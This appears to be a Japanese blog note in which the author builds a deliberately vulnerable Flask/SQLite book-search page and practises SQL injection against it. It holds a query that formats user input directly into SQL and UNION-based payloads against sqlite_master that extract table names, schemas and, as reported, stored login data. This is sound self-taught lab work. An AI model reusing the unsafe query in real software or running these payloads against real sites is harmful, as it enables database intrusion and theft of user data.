使っているのはflaskとsqlite3
■SQLインジェクションが可能な環境を用意
とりあえずSQLiの脆弱性を持つWebページとして
よく例に取り上げられるのが蔵書検索ページ
ということでflaskで手作り蔵書検索ページを作成
名前や著者名で絞れば該当の書物名のみが表示される
かなりあらいけどこんな感じ
@bp.route("/search_book", methods=('GET', 'POST')) def search_book(): db = get_db() if request.method == 'POST': auth_name = request.form['auth_name'] book_name = request.form['book_name'] if auth_name == "" and book_name == "": return redirect(url_for('bp.search_book')) elif auth_name != "" and book_name == "": book_info = db.execute('select * from book_info where auth_name = "%s"'%(auth_name)) elif book_name != "" and auth_name == "": book_info = db.execute('select * from book_info where book_name = ?', (book_name,)) elif book_name != "" and auth_name != "": book_info = db.execute('select * from book_info where book_name = ? and auth_name = ?', (book_name, auth_name,)) return render_template('search_book.html', book_name=book_name, auth_name=auth_name, book_info=book_info) book_info = db.execute('SELECT * from book_info') return render_template('search_book.html', book_info=book_info)
そしてSQLiを可能にするかどうかのミソは「プレースホルダ」!
book_info = db.execute('select * from book_info where auth_name = "%s"'%(auth_name))
book_info = db.execute('select * from book_info where book_name = ?', (book_name,))
「?」がプレースホルダにあたるらしい
詳しいことはまた別の機会に調べる
■SQLインジェクション実践(SQLite3編)
SQLite3向けSQLi用参考サイト
https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf
SOCでよく見るSQLiは
MySQLで使われる「information_schema.tables」を使ってテーブル名の取得を試みたりするもの
SQLiteでも似たようなのがあったので検索フォームで下記文字列を入れてみた
・テーブル名を取得
"or 1=1 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_% --
カラム名を取得
"or 1=1 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
任意のカラムからデータを取得
"or 1=1 union SELECT 1,2,user,4,5 from 'table_name'
なのでSQLite3でのSQLiで重要なのは
・sqlite_maseterテーブルを使うこと
・tbl_nameでテーブル名取得
・sqlでカラム名取得
この辺をおさえておけばいいのかな
実際、1つのデータベースファイルに複数のテーブル入れておいて
蔵書検索ページから上記SQLiを試してみたら
全然関係ないログイン用ユーザ情報の取得に成功した
■まとめ
とりあえずSQLインジェクションの脆弱ページが完成したのと
SQLiteで典型的なSQLインジェクション実践できたのでよかった